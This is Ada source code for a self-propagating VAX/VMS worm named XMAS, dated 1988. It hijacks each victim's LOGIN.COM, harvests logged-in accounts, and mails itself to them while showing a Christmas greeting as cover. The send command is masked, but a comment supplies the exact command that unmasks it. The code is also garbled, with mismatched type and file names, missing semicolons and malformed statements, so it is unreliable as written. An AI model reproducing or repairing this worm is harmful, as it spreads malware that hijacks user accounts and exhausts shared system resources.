-- ********************************************************************************************
-- WORM
-- Worm demonstration on a VAX computer implemented by the Ada language.
-- 90% of the work done on RR Software Janus/Ada
--
-- Version Number : 1  (C) Copyright 1988, 1989 Jeff Gray
--
-- To my girlfriend, Victoria ...
-- ********************************************************************************************

with Text_IO; use Text_IO; -- Needed for basic IO

-- procedure XMAS :
--
-- This is the main procedure which starts the worm on its desired path
-- toward infection.
--
-- Requires: Check_First_Run, Make_New_Login_Com, Build_Logon_Com, Display_Card
procedure XMAS is

-- The following declare the various logical files that are needed. It
-- first declares an array which holds the names of 300 users on the
-- system who have been infected. Constant of 300 may wish to be edited.

type User_List_Type is array(1..300) of String(1..8);

  User_List : User_List_Types;
User_Length : Natural := 0;
      Login : File_Type;
      Logon : File_Type;
     Logon2 : File_Type;
        SHU : File_Type;
       Temp : String(1..8);
 Whole_Line : String(1..80);
       Last : Integer;
        Yes : Boolean;

-- Beginning of nested procedures...
--
-- procedure Display_Card :
--
-- This simple procedure clears the screen on a VT-100 and then displays
-- a seemingly innocuous message. This is displayed alter the worm has
-- finished its business.
--
-- Serves : XMAS
procedure Display_Card is

begin
  Put (ASCII.ESC);
  Put ("[2J");
  New_Line(5);
  Set_Col(12);
  Put_Line("MERRY XMAS");
  New_Line(3);
  Set_Col(28);
  Put_Line("And a Happy New Year!!!");
end Display_Card;

-- procedure Check_First_Run :
--
-- Check_First_Run will look at the current LOGIN.CON file, if available,
-- and determine if the account has already been infected.  It will return
-- a Boolean based on whether it has been infected or not.
--
-- Serves: XMAS
procedure Check_First_Run(Answer : out Boolean) is

Test : String(1..13); -- Hold first line of LOGIN.COM
Last : Integer;       -- Length of first line in LOGIN.COM

begin
  Open(Login, In_File, "LOGIN.COM");
  Get_Line(Login, Test, Last);
  Close(Login);
  if Test = "$ M := MARKER" then
    Answer := False; -- Account already infected.
  else
    Answer := True;  -- First tine worm executed.
  end if;
  exception                -- Error handler :
    when others => null;   -- Control passes here if no
    Answer := True;        -- LOGIN.CON exists. 
                           -- This indicates first time worm executed.

end Check_First_Run;

-- procedure Make_New_login_Com : 
--
-- When the worm is first executed on a particular account, this procedure
-- is called in order to create a new LOGIN.COM. The old LOGIN.COM is not
-- destroyed.
--
-- Serves: XMAS
procedure Make_New_Login_Com is

begin
  -- DCL commands explained in text...
  Create(Login, Out_File, "LOGIN.COM");
  Put_Line(Login, "$ M := MARKER");
  Put_Line(Login, "$ DEFINE/USER SYS$OUTPUT SHU.DAT");
  Put_Line(Login, "$ SH U");
  Put_Line(Login, "$ RUN XMAS");
  Put_Line(Login, "$ @LOGON");
  -- A manipulation task could be appended to above file.
  Close(Login);
end Make_New_Login_Com;

-- procedure Get_Logon_Bak :

-- The worm is executed each tine the user logs in. To prevent too many
-- copies being sent to same account, the LOGON.BAK file is used to keep track
-- of who received the worm from a particular account. It will not send the
-- worm again to those found in LOGON.BAK. A problem exists in that each
-- LOGON.BAK file is different for each account, as explained in text.
--
-- Serves: Build_Logon_Com
procedure Get_Logon_Bak is

begin
  User_Length := 0;
  Open(Logon2, In_File, "LOGON.BAK");
  loop
  if not End_Of_File(Logon2) then         -- Insert all names in
    User_Length := User_Length + 1;       -- LOGON.BAK into the
    Get_Line(Logon2, Whole_Line, Last);   -- large array.
    User_List(User_Length) := Whole_Line(1..8);
  else
    exit;
  end if;
  end loop;
  Close(Logon2);
  exception              -- Error handler :
    when others => null; -- If no LOGON.BAK existed previously, then
                         -- no names are copied into array.
end Get_Logon_Bak;

-- procedure Check :
--
-- Check will test to see if the current account name being analyzed
-- from SHU.DAT is already in the user name array formed form LOGON.BAK.
-- It returns a Boolean based on the result of the test.
--
-- Serves: Get_SHU
procedure Check(Answer : out Boolean) is

-- Temp is a global which holds the name of the current account
-- being referenced form SHU.BAT. It is assigned in Get_SHU.
begin
  Answer := True;         -- Innocent unless proven otherwise...
  for I in 1..User_Length -- Loop through array of past recipients.
  loop
  if User_List(I) = Temp then -- If found in array, then this account
    Answer := False;            -- has already been Infected. Set Boolean
    exit;                       -- to proper state.
  end if;
  end loop;
end Check;

-- procedure Get_SHU :
--
-- Probably the most important  procedure,  it will check valid account names
-- found in SHU.DAT and see if they have been infected by calling procedure
-- Check. It will then add  uninfected names on the list contained in
-- LOGON.COM which will perform the propagation.
--
-- Requests : Check
-- Serves : Build_Logon_Com
procedure Get_SHU is

begin
  Open(SHU, In_File, "SHU.BAT");
  Create(Logon, Out_File, "LOGON.COM");
  Put_Line(Logon, "$ PURGE LOGON.*"); -- Erase all past occurrences
  Put_Line(Logon, "$ PURGE SHU.BAT"); -- of LOGON.COM and SHU.DAT.
  for I in 1..5                       -- Skip past the junk in SHU.DAT
  loop
    Get_Line(SHU, Whole_Line, Last);  -- "VAX/VMS Interactive..."
  end loop;                           -- and get to the first account.
  loop;
  if not End_Of_File(SHU) then
    Get_Line(SHU, Whole_Line, Last); -- Get a new account name from
    Temp := Whole_Line(2..9);        -- SHU.DAT and store in Temp.
    Check(Yes);
    if Yes = True then
      if User_Length < 300 then         -- If account in Temp not already
        User_Length := User_Length + 1  -- infected AND we did not exceed
        User_List(User_Length) := Temp  -- user list array, then add this
        Put(Logon, "$ XXXX XMAS.EXE"))  -- account to the list to be
                                        -- infected by LOGON.COM.
-- Bad programming style of hardcoding the constant 300. Tsk, Tsk...
-- For the worm to work properly, must replace XXXX with : SEND/FILE/VMSDUMP
-- in the preceding line.
--
-- This was used as a precaution during testing to
-- make sure that the worm would not be set loose. After testing, I
-- have concluded that if set loose, this  program could create havoc
-- on a system like ----- by tying up resources. A modified version with
-- a malicious manipulation task could offer even further danger.
        Put_Line(Logon, Temp);  -- Append account name to end of
                                -- SEND command.
      end if;
    end if;
  else
    Close(SHU);
    Close(LOGON);
    exit;
  end if;
  end loop;
  exception                -- Error handler :
    when others => null;   -- In case of any freak file errors.
end Get_SHU;

-- procedure Build_Logon_Com
--
-- After worm is executed and control returns to LOGIN.COM, a DCL file
-- is executed named LOGON.COM. This procedure calls routines that build
-- the file. The article text offers explanation of DCL commands used.
--
-- Requests: Get_Logon_Bak, Get_SHU
-- Serves: XMAS
procedure Build_Logon_Com is

begin
  Get_Logon_Bak;
  Get_SHU;
-- Update the LOGON.BAK file so that it is up to date with the new
-- accounts infected that were found from SHU.DAT
-- That old LOGON.BAK is purged by new LOGON.COM. Sorry if nomenclature
-- of file names confuses you.
  Create(Logon2, Out_File, "LOGON.BAK");
  for I in 1..User_Length           -- Loop through entire array,
  loop                              -- including new entries from
    Put_Line(Logon2, User_List(I)); -- SHU.DAT, and place them in
  end loop;                         -- a new LOGON.BAK
  Close(Logon2);
end Build_Logon_Com;

-- Here starts the code for XMAS ...

begin
  Check_First Run(Yes);    -- Check to see if already infected.
  if Yes = True then       -- If never infected before, then build
                           -- new LOGIN.COM to start propagation on
    Make_New_Login_Com;    -- next log in.
  else
    Build_Logon_Com;       -- If already infected, then commence process
                           -- to propagate to users found in SHU.DAT.
  end if;
    Display_Card;          -- After dirty work 1s done, then display
                           -- XMAS greetings.
end XMAS; -- Merry Christmas!